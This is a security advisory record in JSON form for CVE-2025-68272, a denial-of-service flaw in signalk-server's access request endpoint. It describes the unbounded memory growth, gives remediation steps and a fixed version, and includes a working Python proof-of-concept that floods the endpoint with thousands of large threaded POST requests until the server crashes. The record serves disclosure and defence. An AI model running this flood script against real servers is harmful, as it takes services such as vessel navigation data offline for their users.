{"id":"CVE-2025-68272","aliases":["GHSA-7rqc-ff8m-7j23"],"url":"https://o3.security/vulnerability/CVE-2025-68272","summary":"Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding","details":"### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode('utf-8')\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={'Content-Type': 'application/json'}, \n            method='POST'\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) >= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.","published":"2026-01-01T18:08:06.947Z","modified":"2026-08-12T03:51:37.327992914Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"signalk-server","fixedVersion":"2.19.0"}],"fix":{"url":"https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5","label":"SignalK/signalk-server@55e3574"},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68272.json"},{"type":"ADVISORY","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68272"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.327992914Z"}}